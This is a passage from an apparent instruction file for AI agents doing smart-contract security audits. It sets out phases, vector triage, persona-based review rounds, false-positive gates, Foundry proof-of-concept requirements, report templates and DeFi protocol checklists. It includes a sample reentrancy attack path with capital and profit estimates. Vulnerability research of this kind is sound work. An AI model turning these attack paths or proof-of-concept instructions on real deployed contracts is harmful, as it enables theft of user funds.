grep -v test # Extract all events and modifiers grep -rn "event \|modifier " --include="*.sol" | grep -v test ``` Compile results into `interface-map.md` in the output directory. **This Interface Map is injected as a mandatory preamble into EVERY chunk agent's context.** ### 1.7.4 Overlap Chunking Strategy 1. **Dependency graph**: Group contracts that share state or make cross-contract calls together 2. **Core first**: Chunk 1 = core protocol logic (highest TVL exposure). Chunk 2+ = periphery 3. **Overlap zones**: Each chunk boundary includes a **15-20% overlap** with adjacent chunks 4. **Log overlap decisions** in `audit-debug.md` ### 1.7.5 Cross-Chunk State Summary After each chunk completes its audit pipeline, produce a **Cross-Chunk State Summary** (~100 lines max). ### 1.7.6 Chunk Execution (Dependency-Ordered) Chunks execute in dependency order (core → periphery), NOT in parallel. ### 1.7.7 Bridge Agent — Cross-Chunk Vulnerability Hunter **MANDATORY** for codebases > 5,000 lines. Optional for 3,000-5,000. After ALL chunks complete, spawn a **dedicated Bridge Agent** that hunts cross-chunk vulnerabilities. ### 1.7.8 Chunk Merge After Bridge Agent completes, merge findings from all chunks + Bridge Agent, deduplicate, and apply FP Gate + triager to ALL findings. ## Phase 2: MAP — System Understanding *(from original veerskills)* Read every contract using the `Read` tool. Build a **System Map** with these sections: ### 2.1 Architecture Map For each contract/module: - **Purpose**: 1-2 sentences - **Key State Variables**: Name, type, visibility, mutability, invariant role - **Dependencies**: What each variable depends on - **External Surface**: Every public/external function with access control, state writes, external calls, events ### 2.2 State Transition Graph - **System State Space**: S = (all key state variables defining system state) - **Per Function**: Pre-conditions → State Changes → Post-conditions - **Invariant Preservation**: Does each transition maintain all invariants? ### 2.3 Core Invariants Split into four categories: - **SAFETY**: Solvency, access control, no unauthorized minting, balance consistency - **LIVENESS**: Withdrawal availability, protocol progress, no permanent locks - **ECONOMIC**: No free lunch, price stability, no value extraction without service - **COMPOSABILITY**: External protocol assumptions, token standard compliance, oracle dependency freshness ### 2.4 Coverage Plan *(from Forefy)* Systematically verify coverage across ALL protocol layers: ``` PROTOCOL LAYER ANALYSIS: □ Core Protocol Logic □ Economic Security □ Access Control & Governance □ Integration & Composability □ Technical Implementation ``` Log each layer's completion status in `audit-debug.md`. ### 2.5 Static Analysis Summary Merge Slither + Aderyn findings grouped by category and severity. Initial FP assessment for each group. ### 2.6 Protocol Context Engine *(from Forefy 10,600+ findings)* Auto-detect protocol type and load matching context file from 21 types. Extract preconditions, detection heuristics, false positives, historical findings, and remediation per bug class. ### CHECKPOINT Present the System Map including detected protocol type. Ask: *"Review the system map and protocol classification. Confirm accuracy or provide corrections. I will wait before proceeding to HUNT."* Do NOT proceed until confirmed. ## Phase 2.5: VECTOR TRIAGE PASS *(NEW — from Pashov)* **MANDATORY for ALL modes.** Classify all 280+ vectors as Skip/Borderline/Survive BEFORE deep analysis. This reduces token usage by 40-60% and catches 10-15% of vulnerabilities via Borderline tier. ### 2.5.1 Triage Classification For each of the 280+ attack vectors: **Skip** — the named construct AND underlying concept are both absent Example: ERC721 vectors when no NFTs exist **Borderline** — the named construct is absent but the underlying vulnerability concept could manifest through a different mechanism Example: "stale cached ERC20 balance" when code caches cross-contract AMM reserves Promote only if you can: (a) name the specific function where the concept manifests AND (b) describe in one sentence how the exploit works **Survive** — the construct or pattern is clearly present ### 2.5.2 Triage Output Format ``` VECTOR TRIAGE SUMMARY: Skip: V2, V19, V61, V88, V102, ... (N vectors) Borderline: V44 (similar caching in getReserves()), V78 (returndatasize in proxy fallback), ... (N vectors) Survive: V9, V52, V73, V156, ... (N vectors) Total: 280 classified ``` Save to `vector-triage-summary.md` in output directory. ### 2.5.3 Borderline Promotion Check For each Borderline vector, perform 1-sentence relevance check: - Can you name the specific function where the concept manifests? - Can you describe in one sentence how the exploit would work? - If YES to both → promote to Survive - If NO to either → demote to Skip Log all promotion/demotion decisions in `audit-debug.md`: ``` [TRIAGE] V44: Borderline → Survive — getReserves() caches AMM state, stale on callback [TRIAGE] V78: Borderline → Skip — no proxy fallback with returndatasize pattern ``` ### 2.5.4 Deep Pass Preparation Only Survive vectors proceed to Phase 3 deep analysis. Skip and demoted Borderline vectors are excluded from all subsequent phases. ## Phase 3: HUNT — Systematic Hotspot Identification *(from original veerskills)* **Step 3.0: Load protocol-specific checklist.** Read `{resolved_path}/references/protocol-checklists.md` and load the section matching the detected protocol type. ALWAYS also load the Solcurity and Secureum sections. ### 3.A — Vector Deep Pass *(only for Survive vectors from Phase 2.5)* For each surviving vector, use structured one-liner format: ``` V52: path: deposit() → _transfer() → transferFrom | guard: none | verdict: CONFIRM [85] V73: path: deposit() → transferFrom | guard: balance-before-after present | verdict: DROP (FP gate 3: guarded) ``` Budget: ≤1 line per dropped vector, ≤3 lines per confirmed vector. ### 3.B — Grep-Scan Pass Run fast codebase-wide pattern scan for high-risk patterns (reentrancy signals, oracle/price signals, access control gaps, dangerous patterns). ### 3.C — Anti-Pattern Scan Scan against ALL anti-patterns from `references/anti-patterns.md`. Match ❌ WRONG pattern, check if ✅ RIGHT pattern is used. ### 3.D — Function-Level Analysis For each public/external function that writes state, moves value, or makes external calls: 1. Master Checklist Sweep (~219 checks) 2. Static Analysis Check (Slither/Aderyn) 3. Cyfrin Category Drill 4. Protocol-Specific Checklist 5. Protocol Route Checks 6. Real-World Correlation (Solodit) 7. Invariant Check 8. Vulnerability Matrix Sweep ### 3.E — Variant Analysis For EVERY confirmed suspicious spot, hunt for ALL variants across 5 dimensions. ### 3.F — Attack Chain Detection Detect multi-step exploits where individual steps appear benign (Flash Loan Chain, Oracle Chain, Bridge Chain, Governance Chain, Permit2 Chain, Hook Chain, Composability Chain, ERC4626 Inflation Chain, Self-Liquidation Chain). ### 3.G — Reverse Impact Hunt *(deep/beast modes)* Enumerate ALL catastrophic outcomes, then trace backward to find attack paths. ### 3.H — Data Flow Graph + State Mutation Tracker *(deep/beast modes)* Build machine-readable data flow graph. Detect orphan writes/reads, stale reads, cross-function write conflicts. ### 3.I — Boundary Value Injection Protocol *(all modes)* Inject edge values (0, 1, max, boundary, first/last, self-reference, array edge) and trace results. ## Phase 3.5: MULTI-EXPERT ANALYSIS ROUNDS *(NEW — from Forefy)* **MANDATORY for standard/deep/beast modes.** Three completely separate analysis rounds with strict persona separation. Each expert analyzes independently — NO cross-referencing during analysis. ### ROUND 1: Security Expert 1 Analysis **PERSONA**: Primary Smart Contract Auditor **MINDSET**: Systematic, methodical, focused on core vulnerabilities **ANALYSIS APPROACH**: 1. **SYSTEMATIC CODE REVIEW**: - Start with highest-risk functions (payable, external calls, admin functions) - Map all fund flow paths and state changes - Analyze external dependencies and oracle integrations - Document findings with precise business impact context 2. **VULNERABILITY PATTERN MATCHING**: - Check for reentrancy vulnerabilities (all variants) - Validate access control mechanisms and permissions - Analyze arithmetic operations for precision/overflow issues - Review external call safety and return value handling **OUTPUT REQUIREMENT**: Complete your full analysis as Expert 1, document all findings, then explicitly state: "--- END OF EXPERT 1 ANALYSIS ---" ### ROUND 2: Security Expert 2 Analysis **PERSONA**: Secondary Smart Contract Auditor **MINDSET**: Fresh perspective, economic focus, integration specialist **CRITICAL**: Do NOT reference or build upon Expert 1's findings. Approach as if you've never seen their analysis. **ANALYSIS APPROACH**: 1. **INDEPENDENT PROTOCOL ANALYSIS**: - Fresh review of all smart contract components - Different perspective on economic attack vectors - Alternative vulnerability assessment methodologies - Cross-validation of tokenomics and governance mechanisms 2. **INTEGRATION SECURITY FOCUS**: - Inter-contract communication security - External protocol integration risks - Composability and flash loan attack scenarios - Long-term protocol sustainability and upgrade risks **OUTPUT REQUIREMENT**: Complete your independent analysis as Expert 2, then provide oversight analysis of Expert 1's findings and explicitly state: "--- END OF EXPERT 2 ANALYSIS ---" **OVERSIGHT ANALYSIS RESPONSIBILITY**: After completing your independent analysis, review Expert 1's findings and provide honest self-reflection: - Do you disagree that it's a valid vulnerability? Explain your reasoning - Did you miss it due to different analysis focus or methodology? - Was it an oversight in your systematic review process? - Would you have caught it with more time or different approach? ### ROUND 3: Triager Validation *(ENHANCED — from Forefy)* **PERSONA**: Customer Validation Expert (Budget Protector) **MINDSET**: Financially motivated skeptic who must protect the security budget **APPROACH**: Actively challenge and attempt to disprove BOTH Expert 1 and Expert 2 findings **ENHANCED TRIAGER MANDATE**: ```markdown You represent the PROTOCOL TEAM who controls the bounty budget and CANNOT AFFORD to pay for invalid findings. Your job is to PROTECT THE BUDGET by challenging every finding from Security Experts 1 and 2. You are FINANCIALLY INCENTIVIZED to reject findings — every dollar saved on false positives is money well spent. You must be absolutely certain a finding is genuinely exploitable before recommending any bounty payment. MANDATORY CROSS-REFERENCE VALIDATION: □ Finding Consistency Check: Compare all findings for logical contradictions or overlapping issues □ Evidence Chain Validation: Verify each finding's evidence chain (Code Pattern → Vulnerability → Impact → Risk) □ Contract Location Verification: Confirm all referenced contracts, functions, and line numbers exist and are accurate □ Attack Path Cross-Check: Ensure attack scenarios don't contradict protocol protections found in other areas □ Severity Calibration Review: Check if severity levels are consistent across similar finding types □ Economic Impact Validation: Verify economic attack scenarios are realistic and profitable BUDGET-PROTECTION VALIDATION: □ Technical Disproof: Actively test the finding to prove it's NOT exploitable in practice □ Economic Disproof: Calculate realistic attack costs vs profits to show it's unprofitable □ Evidence Challenges: Identify flawed assumptions and test alternative scenarios □ Exploitability Testing: Try to reproduce the attack and document where it fails □ False Positive Detection: Find protocol protections or mitigations that prevent exploitation □ Production Reality Check: Test how actual deployment conditions invalidate the finding Your default stance is BUDGET PROTECTION — only pay bounties for undeniably valid, exploitable vulnerabilities. ``` **ENHANCED TRIAGER VALIDATION FOR EACH FINDING**: ```markdown ### Triager Validation Notes **Cross-Reference Analysis**: - Checked finding against all other discoveries for consistency - Verified no contradictory evidence exists in other analyzed contracts - Confirmed attack path doesn't conflict with protocol protections found elsewhere - Validated severity level matches similar findings in this audit **Economic Feasibility Check**: - Calculated realistic attack costs (gas fees, capital requirements, time investment) - Analyzed profit potential vs. risk and complexity - Evaluated if attack is economically rational for attackers **Technical Verification**: - Actively tested the vulnerability by attempting reproduction with provided steps - Performed technical disproof attempts: [specific tests run to invalidate the finding] - Verified contract locations and challenged technical feasibility through direct testing - Calculated realistic economic scenarios to disprove profitability claims **Evidence Chain Validation**: [Document the complete evidence chain and validate each link: - Code Pattern Observed: [Specific smart contract code pattern] - Vulnerability Type: [How pattern leads to security weakness] - Attack Vector: [How an attacker would exploit this] - Business Impact: [Real-world consequences for protocol and users] - Risk Assessment: [Why this matters to the protocol team]] **Protocol Context Validation**: [Specific technical challenges raised against this finding: - Contract function calls tested and results - Economic scenarios simulated and actual outcomes - Integration tests performed and discrepancies found - External dependency checks and potential mitigating factors] **Dismissal Assessment**: - **DISMISSED**: Finding is invalid because [specific technical reasons proving it's not exploitable] - **QUESTIONABLE**: Technical issue may exist but [specific concerns about practical exploitability/economic viability] - **RELUCTANTLY VALID**: Finding is technically sound despite [attempts to dismiss - specific validation evidence] **Economic Recommendation**: [Harsh economic critique: Why this finding should be deprioritized or dismissed, focusing on unrealistic economic assumptions, impractical attack scenarios, or misunderstanding of protocol economics] **Technical Recommendation**: [Harsh technical critique: Why this finding should be deprioritized or dismissed, focusing on technical inaccuracies, impractical scenarios, or misunderstanding of protocol mechanics] ``` **OUTPUT REQUIREMENT**: Complete triager validation for ALL findings from Experts 1 and 2, then explicitly state: "--- END OF TRIAGER VALIDATION ---" ### 3.5.4 Multi-Expert Summary After all three rounds complete, produce `multi-expert-analysis.md` in output directory: ```markdown ## Multi-Expert Analysis Summary ### Expert 1 Findings: N findings [List all Expert 1 findings with IDs] ### Expert 2 Findings: N findings [List all Expert 2 findings with IDs] ### Expert 2 Oversight Analysis [Expert 2's self-reflection on Expert 1's findings] ### Triager Validation Results - Valid: N findings - Questionable: N findings - Dismissed: N findings ### Consensus Findings (found by both experts): N findings [List findings found independently by both experts — confidence boost +15] ### Unique Findings (found by only one expert): N findings [List findings found by only one expert — require extra scrutiny] ``` ### CHECKPOINT Present numbered list of ALL findings from Phase 3 (including multi-expert rounds). Ask: *"Select targets for ATTACK phase (numbers, 'all', or 'high-only')."* ## Phase 4: ATTACK — Deep Exploit Validation *(from original veerskills)* For each selected target, one at a time: ### 4.1 Trace Call Path Read actual code. Trace variable values through execution. Map every external call, state change, and branch. ### 4.2 Construct Attack Narrative - **Attacker role**: Who (any user, flash loan borrower, MEV bot) - **Call sequence**: Exact transaction sequence to exploit - **Broken invariant**: Which invariant violated - **Extracted value**: What attacker gains (funds, shares, access) - **Capital required**: Flash loan size, gas cost, timing constraints ### 4.3 Full 6-Check FP Gate — Deep Enforcement (MANDATORY) Apply all 6 checks from `references/fp-gate.md` with **mandatory evidence artifacts and depth validation**: 1. **Concrete path** (4+ hops): Trace caller → function → state change → impact. Each hop must cite exact `file:line`. Impact quantified in units. 2. **Reachable** (grep-verified): Execute `grep -n "modifier\|onlyOwner\|onlyRole\|require(msg.sender"` on affected file and paste output. No grep = FAIL. 3. **No guard** (8-point sweep): Search ALL 8 guard categories with grep evidence per category. 4. **Cross-file** (3+ file reads): Read ≥3 files beyond affected file. Grep function name across codebase. Trace full inheritance chain. 5. **Dry-run** (dual trace): Perform TWO traces — realistic values AND adversarial edge cases. Each trace must show ≥5 state checkpoints. 6. **Solodit check** (mandatory tool call): Execute ≥2 `mcp__claudit__search_findings` queries. Review ≥5 results. **Anti-Rubber-Stamp Rule**: Any check with PASS evidence under 80 characters → entire gate FAILS. **Adversarial Meta-Check** (after all 6 pass): Write ≥3 sentences attempting to invalidate the finding. Rebut each with evidence. If any rebuttal fails → DROP. Calculate confidence score with all applicable deductions. If score < 40 → DROP. ### 4.4 Adversarial Verification *(from original veerskills)* For each surviving finding, apply formal adversarial review. ### 4.5 Economic Triager Validation *(from Forefy)* For each surviving finding, apply **budget-conscious triager** that actively tries to disprove: **Default stance**: "This finding is likely invalid. Prove otherwise." **4 Triager Checks** (each must pass or finding is downgraded/dismissed): 1. **Technical Disproof Attempt**: Actively try to prove the finding is NOT exploitable - Test the attack path with concrete values - Check if protocol protections exist that initial analysis missed - Verify contract locations and line numbers are accurate - Log result in `audit-debug.md` 2. **Economic Feasibility Check**: Calculate realistic attack economics - Gas cost of the attack at current gas prices - Flash loan fees required (typically 0.09% on Aave) - Capital requirements and opportunity cost - Sandwich/MEV profitability threshold - Is the attack **economically rational** for a real attacker? - Log calculation in `audit-debug.md`: `[TRIAGER] {finding-id}: gas=$X, flash_loan_fee=$Y, profit=$Z → rational/irrational` 3. **Evidence Chain Validation**: Every link must be verified ``` Code Pattern Observed → Vulnerability Type → Attack Vector → Business Impact → Risk Assessment ``` Missing link = finding is downgraded. 4. **Cross-Finding Consistency**: Check all findings for logical contradictions - Does Finding A's exploit assume a protection that Finding B says is missing? - Are severity levels consistent across similar finding types? **Triager Verdict Classification**: | Verdict | Criteria | Action | |---|---|---| | **VALID** | Cannot be disproved. Economically rational. Full evidence chain. | Keep with severity | | **QUESTIONABLE** | Technical issue exists but economic viability unclear. | Mark for additional proof | | **OVERCLASSIFIED** | Valid but severity exaggerated. | Downgrade severity | | **DISMISSED** | Disproved technically or economically. | Remove with documented reasoning | ### 4.5.1 Severity Formula *(from Forefy — conservative)* Apply quantitative severity scoring: ``` Base Score = Impact × Likelihood × Exploitability Final Score = Base Score (if borderline, round DOWN) ``` | Factor | Score 3 (High) | Score 2 (Medium) | Score 1 (Low) | |---|---|---|---| | **Impact** | Direct fund loss | Temporary DoS / griefing | Informational | | **Likelihood** | Trivial to trigger | Requires specific conditions | Requires complex setup | | **Exploitability** | Single transaction | Multiple transactions | Requires off-chain coordination | **Severity Mapping**: - Score 18-27: Critical - Score 9-17: High - Score 4-8: Medium - Score 1-3: Low ## Phase 4.6: ISOLATED ADVERSARIAL VERIFIER *(NEW — from Exvul)* **MANDATORY for standard/deep/beast modes.** Remove false positives through isolated, fresh reviews. Each finding reviewed by fresh instance with NO cross-finding memory. ### 4.6.1 Core Stance (MANDATORY) For each finding, start from: - "This is likely a false positive unless local evidence proves exploitability." ### 4.6.2 Isolation Constraints (MANDATORY) Each finding must be verified by a fresh reviewer instance with no carry-over context. **Allowed input per finding**: 1. Finding payload (title, description, severity, attack path) 2. Local code excerpt around `file:line` (±20 lines of context) **Disallowed**: - Cross-finding memory (cannot reference other findings) - Global conclusions imported from previous decisions - Optimistic assumptions without direct local evidence ### 4.6.3 Required Decision Schema ```json { "decision": "false_positive | valid | valid_downgraded", "downgraded_severity": "Critical|High|Medium|Low|Informational|", "confidence": 0.0, "confidence_basis": "what evidence made confidence high/medium/low", "explanation": "short technical rationale" } ``` **Confidence Rule**: Do not reuse fixed defaults. Set confidence from evidence quality: - Exploit path complete + strong local proof → higher confidence (0.7-1.0) - Missing preconditions or uncertain control flow → lower confidence (0.3-0.6) - Speculative or requires extensive assumptions → very low confidence (0.0-0.2) ### 4.6.4 Decision Application - `false_positive`: Remove from final findings - `valid`: Keep unchanged - `valid_downgraded`: Keep with lower severity and explicit severity transition ### 4.6.5 Output Format For each finding reviewed: ``` [ADVERSARIAL-{N}] {Finding ID} ├── Decision: {false_positive | valid | valid_downgraded} ├── Original Severity: {Critical|High|Medium|Low} ├── Final Severity: {Critical|High|Medium|Low} ├── Confidence: {0.0-1.0} ├── Confidence Basis: {what evidence made confidence high/medium/low} └── Explanation: {short technical rationale} ``` Save all adversarial verifier decisions to `adversarial-verifier-log.md` in output directory. ### 4.6.6 Mandatory Summary ``` ISOLATED ADVERSARIAL VERIFICATION SUMMARY: ├── Valid: {N} ├── Valid Downgraded: {N} ├── False Positive Dropped: {N} └── Total Reviewed: {N} ``` Log summary in `audit-debug.md` and include in final report. ## Phase 4.7: Nemesis Convergence Loop *(beast mode only)* **MANDATORY for beast mode.** Iterative deep logic bug hunting with convergence detection. Max 6 passes. See `references/nemesis-convergence.md` for full protocol. ## Phase 5: VALIDATE — PoC Construction *(from original veerskills)* **MANDATORY for standard/deep/beast modes.** For all Critical/High findings (standard mode) or all findings (deep/beast modes): ### 5.1 PoC Requirements - Foundry test file with concrete exploit - Demonstrates the attack path from Phase 4 - Shows before/after state (attacker profit, victim loss) - Runs successfully with `forge test` ### 5.2 PoC Validation If PoC fails to demonstrate exploit → finding is downgraded or dropped. ## Phase 6: FUZZ — Invariant Testing *(deep/beast modes)* **MANDATORY for deep/beast modes if test framework exists.** ### 6.1 Invariant Test Generation For each invariant from Phase 2.3, generate Foundry invariant test. ### 6.2 Fuzz Execution Run `forge test --fuzz-runs 10000` and analyze failures. ## Phase 7: REPORT — Final Security Assessment *(ENHANCED FORMAT)* ### 7.1 Enhanced Report Structure *(from Solidity-Auditor-Skills)* Generate `VEERSKILLS_ENHANCED_AUDIT_REPORT.md` with this structure: ```markdown # Security Audit Report — [Protocol Name] ## Executive Summary - **Audit Date**: [Date] - **Auditor**: VeerSkills Enhanced v[version] - **Mode**: [quick/standard/deep/beast] - **Codebase Size**: [N] lines across [M] contracts - **Total Findings**: [N] (Critical: X, High: Y, Medium: Z, Low: W, Info: V) - **Confidence Threshold**: [score] (findings below threshold listed separately) ## Scope Table *(NEW)* | Metric | Value | |---|---| | **Contracts Audited** | [N] contracts | | **Attack Vectors Checked** | [N] vectors (from 280+ total) | | **Agents Deployed** | [N] agents (vector-scan, adversarial, DeFi protocol, etc.) | | **Multi-Expert Rounds** | [3 rounds: Expert 1, Expert 2, Triager] | | **Isolated Verifier** | [N findings reviewed, M false positives dropped] | | **Confidence Threshold** | [score] — findings below threshold require additional validation | | **PoC Validation** | [N/M Critical/High findings have working PoCs] | ## Findings Summary ### Above Confidence Threshold ([N] findings) [List findings with confidence ≥ threshold] --- ### Below Confidence Threshold ([N] findings) [List findings with confidence < threshold — require additional validation] ## Detailed Findings ### [C-1] [Title] **Severity**: Critical **Confidence**: [score] **Location**: `Contract.sol:L123` **Attack Vector**: [Vector ID from attack-vectors.md] **Description**: [One-sentence summary] [Detailed explanation with attack narrative] **Attack Path**: 1. Attacker calls `function1()` with `param=0` 2. Function calls `_internal()` which writes `state` without validation 3. Attacker extracts `X` tokens via `withdraw()` **Impact**: [Quantified impact: funds at risk, users affected, protocol solvency] **Proof of Concept**: ```solidity [PoC code if available] ``` **Recommendation**: [Specific fix with code diff] **Multi-Expert Attribution** *(NEW)*: - Found by: [Expert 1 / Expert 2 / Both] - Triager verdict: [VALID / QUESTIONABLE / RELUCTANTLY VALID] - Adversarial verifier: [valid / valid_downgraded / confidence_basis] --- [Repeat for all findings] ## Appendices - Threat Model Diagram (see `threat-model.md`) - Vector Triage Summary (see `vector-triage-summary.md`) - Multi-Expert Analysis (see `multi-expert-analysis.md`) - Adversarial Verifier Log (see `adversarial-verifier-log.md`) - Audit Debug Log (see `audit-debug.md`) ``` ## Phase 7.5: SELF-AUDIT — Missed Bug Detection *(MANDATORY for all modes)* **MANDATORY for ALL modes.** After report generation, perform self-audit to catch missed bugs. ### 7.5.1 Missed Bug Checklist For each vulnerability class in `references/master-checklist.md`: - Did we check ALL instances of this pattern? - Did we check ALL variants of this vulnerability? - Did we check ALL contracts for this issue? ### 7.5.2 Coverage Verification - Did we analyze ALL public/external functions? - Did we check ALL state variables for manipulation? - Did we trace ALL external calls for reentrancy? - Did we validate ALL arithmetic operations? ### 7.5.3 Self-Audit Output If missed bugs are found, add them to the report with `[SELF-AUDIT]` prefix. ## Multi-Agent Orchestration *(ENHANCED with Agent 13)* ### Agent Deployment by Mode | Agent | Quick | Standard | Deep | Beast | Role | |---|:---:|:---:|:---:|:---:|---| | **Agent 1-4: Vector Scan** | ✅ | ✅ | ✅ | ✅ | Parallel vector scanning (70 vectors each) | | **Agent 5: Vector Scan** | ❌ | ✅ | ✅ | ✅ | Additional vector coverage | | **Agent 6: Vector Scan** | ❌ | ❌ | ✅ | ✅ | Additional vector coverage | | **Agent 7-8: Vector Scan** | ❌ | ❌ | ❌ | ✅ | Maximum vector coverage | | **Agent 9: Adversarial** | ❌ | ✅ | ✅ | ✅ | FP elimination + confidence scoring | | **Agent 10: Protocol Routes** | ❌ | ✅ | ✅ | ✅ | Critical path analysis | | **Agent 11: State Inspector** | ❌ | ❌ | ✅ | ✅ | Data flow + state mutation tracking | | **Agent 12: Feynman** | ❌ | ❌ | ❌ | ✅ | Explain-to-find methodology | | **Agent 13: DeFi Protocol Specialist** *(NEW)* | ❌ | ✅ | ✅ | ✅ | Protocol-specific domain analysis | ### Agent 13: DeFi Protocol Specialist *(NEW — from Solidity-Auditor-Skills)* **MANDATORY for standard/deep/beast modes.** **Role**: Domain-specific vulnerability analysis for DeFi protocols with concrete checklists. **Activation**: After Phase 2.6 protocol detection, if protocol type matches any of: Lending, AMM/DEX, Vault/ERC-4626, Staking/Rewards, Bridge/Cross-Chain, Governance, Proxy/Upgradeable, Account Abstraction. **Input**: - All in-scope `.sol` files - `judging.md` and `report-formatting.md` from references - Protocol type detected in Phase 2.6 **Workflow**: 1. Read all in-scope contracts 2. Apply matching protocol checklist(s) from the 8 protocol types 3. For each checklist item, trace whether codebase implements it correctly, incorrectly, or not at all 4. Only report items with concrete exploit path 5. Apply FP gate to every potential finding 6. Return findings in standard format **Protocol Checklists** (from `solidity-auditor-skills/solidity-auditor/references/agents/defi-protocol-agent.md`): #### Lending / Borrowing (14 checks) - [ ] Health factor includes accrued interest, not just principal - [ ] Liquidation incentive covers gas cost for minimum-size positions - [ ] Self-liquidation is not profitable - [ ] Collateral withdrawal blocked when position is underwater - [ ] Minimum loan/position size enforced to prevent dust loan griefing - [ ] Liquidation improves borrower health (not worsens it) - [ ] LTV gap exists between max borrow ratio and liquidation threshold - [ ] Interest accrual pauses when repayments are paused - [ ] Liquidation and repayment pause states are symmetric - [ ] Collateral factor / LTV correctly scales per asset decimal precision - [ ] Oracle price used for liquidation has staleness and bounds checks - [ ] Bad debt socialization mechanism exists for underwater dust positions - [ ] Interest rate model handles edge cases (100% utilization, zero supply) - [ ] Borrow caps enforced on all paths #### AMM / DEX (9 checks) - [ ] Slippage protection: minAmountOut set off-chain, not derived on-chain - [ ] Swap deadline is caller-supplied, not `block.timestamp` - [ ] Multi-hop slippage enforced on final output, not intermediate hops - [ ] Fee tier is dynamic or parameterized, not hardcoded - [ ] LP position value not calculated from spot reserves (use TWAP or oracle) - [ ] Concentrated liquidity: tick math overflow checked at boundaries - [ ] Pool initialization front-running prevented - [ ] Router approval limited to exact amount needed per swap - [ ] Sandwich attack surface minimized #### Vault / ERC-4626 (9 checks) - [ ] First depositor inflation attack mitigated (virtual offset, dead shares, minimum deposit) - [ ] Rounding: deposit/mint round DOWN, withdraw/redeem round UP - [ ] Round-trip profit impossible: redeem(deposit(a)) <= a - [ ] Preview functions match actual execution - [ ] Share price not manipulable via direct token transfer - [ ] Allowance check in withdraw/redeem when caller != owner - [ ] Vault handles fee-on-transfer tokens correctly (or explicitly rejects them) - [ ] Vault handles rebasing tokens correctly (or explicitly rejects them) - [ ] totalAssets() includes all yield sources and pending rewards #### Staking / Rewards (10 checks) - [ ] rewardPerToken updated BEFORE any balance change - [ ] First depositor cannot front-run initial reward distribution - [ ] Flash deposit/withdraw cannot capture disproportionate rewards - [ ] Reward token != staking token (or handled correctly if same) - [ ] Direct token transfers don't dilute/inflate rewards - [ ] Precision loss in reward calculation doesn't zero out small stakers - [ ] Claiming rewards doesn't create reentrancy via external token transfer - [ ] Reward rate doesn't overflow when multiplied by duration - [ ] Multiple reward tokens tracked independently - [ ] Unstaking cooldown cannot be griefed by dust deposits from others #### Bridge / Cross-Chain (11 checks) - [ ] Message replay protection (nonce + processed hash mapping) - [ ] Source and destination chain IDs included in message hash - [ ] msg.sender == endpoint validated in receive function - [ ] Peer/trusted remote address validated per source chain - [ ] Rate limits / circuit breakers per time window - [ ] Pause mechanism with guardian/emergency multisig - [ ] DVN diversity (2/3+ independent verification methods) - [ ] Supply invariant: total_minted_dest <= total_locked_source - [ ] Decimal conversion correct across chains - [ ] Sequencer uptime checked on L2 destinations - [ ] Grace period after L2 sequencer restart before liquidations #### Governance (6 checks) - [ ] Vote weight from past block, not current (prevents flash loan voting) - [ ] Timelock between proposal passage and execution - [ ] Quorum threshold high enough to prevent minority attacks - [ ] Proposal execution cannot be front-run - [ ] Delegate cannot escalate privileges beyond voting - [ ] Token transfer during active vote doesn't enable double-voting #### Proxy / Upgradeable (11 checks) - [ ] Implementation has _disableInitializers() in constructor - [ ] Proxy + init deployed atomically (not separate txs) - [ ] Storage layout: new variables appended only, types unchanged - [ ] EIP-1967 storage slots used (no sequential slot collision) - [ ] UUPS: _authorizeUpgrade has access control - [ ] UUPS: V2+ inherits UUPSUpgradeable (upgrade not bricked) - [ ] Diamond: all facets use namespaced storage (EIP-7201) - [ ] Diamond: no selector collisions across facets - [ ] Proxy admin is multisig + timelock, not EOA - [ ] Upgrade + config bundled atomically (upgradeToAndCall) - [ ] Immutable variables not used in implementation #### Account Abstraction (ERC-4337) (7 checks) - [ ] validateUserOp restricted to msg.sender == entryPoint - [ ] UserOp signature bound to nonce and chainId - [ ] No banned opcodes in validation phase - [ ] Paymaster prefund accounts for 10% unused gas penalty - [ ] Paymaster validates token payment in validatePaymasterUserOp, not postOp - [ ] execute/executeBatch restricted to entryPoint or owner - [ ] Factory CREATE2 salt includes owner in derivation **Output**: Findings in standard format with `[DEFI-PROTOCOL]` prefix. ## Finding Output Format *(ENHANCED)* Every finding must follow this JSON schema (for machine-readable output) or markdown format (for human-readable report): ### JSON Schema (findings.json) ```json { "finding_id": "C-1", "title": "Reentrancy in withdraw() allows fund drainage", "severity": "Critical", "confidence": 85, "confidence_basis": "Complete exploit path with PoC. No guards found in 8-point sweep. Economically rational ($50k profit for $91 cost).", "location": "Vault.sol:L142", "attack_vector_ids": ["V52", "V73"], "affected_functions": ["withdraw(uint256)", "_transfer(address,uint256)"], "attack_path": [ "Attacker calls withdraw(amount)", "Contract calls token.transfer(attacker, amount)", "Attacker's receive() re-enters withdraw()", "Second withdrawal succeeds before balance update", "Attacker extracts 2x their deposit" ], "impact": "Direct fund loss. All user deposits at risk (~$500k TVL).", "capital_required": "Flash loan: $100k. Gas: $50. Flash loan fee (0.09%): $90. Total: $140.", "profit_estimate": "$50k (10% of TVL drained per attack).", "economic_rationality": "Highly profitable. Profit/cost ratio: 357x.", "broken_invariants": ["E1: No Free Lunch", "S2: Balance Consistency"], "fp_gate_evidence": { "check1_concrete_path": "withdraw() L142 → _transfer() L89 → token.transfer() L23 → attacker.receive() → withdraw() L142 (re-entry)", "check2_reachable": "grep result: no access control modifiers on withdraw()", "check3_no_guard": "8-point sweep: no nonReentrant, no CEI pattern, no balance-before-after check", "check4_cross_file": "Read 4 files: Vault.sol, ERC20.sol, ReentrancyGuard.sol (not inherited), SafeERC20.sol (not used)", "check5_dry_run": "Realistic: withdraw(1000) → balance[attacker]=1000 → transfer → re-enter → balance[attacker]=1000 (not updated) → transfer again. Adversarial: withdraw(type(uint256).max) → overflow in balance update.", "check6_solodit": "mcp__claudit__search_findings('reentrancy withdraw') → 47 results. Reviewed 5. Pattern matches Cream Finance $130M hack." }, "adversarial_meta_check": [ "Invalidation 1: 'Maybe nonReentrant is inherited?' → Rebuttal: Traced full inheritance chain, no ReentrancyGuard.", "Invalidation 2: 'Maybe balance is updated before transfer?' → Rebuttal: Code shows transfer at L23, balance update at L45.", "Invalidation 3: 'Maybe token is SafeERC20?' → Rebuttal: Direct IERC20.transfer() call, not SafeERC20." ], "triager_validation": { "technical_disproof_attempt": "Tested attack path with concrete values. Exploit succeeds.", "economic_feasibility": "Gas: $50. Flash loan fee: $90. Profit: $50k. Economically rational.", "evidence_chain": "Complete: Code Pattern (no guard) → Vulnerability (reentrancy) → Attack Vector (re-enter withdraw) → Business Impact (fund loss) → Risk (Critical).", "cross_finding_consistency": "Consistent with F-3 (missing CEI pattern). No contradictions.", "verdict": 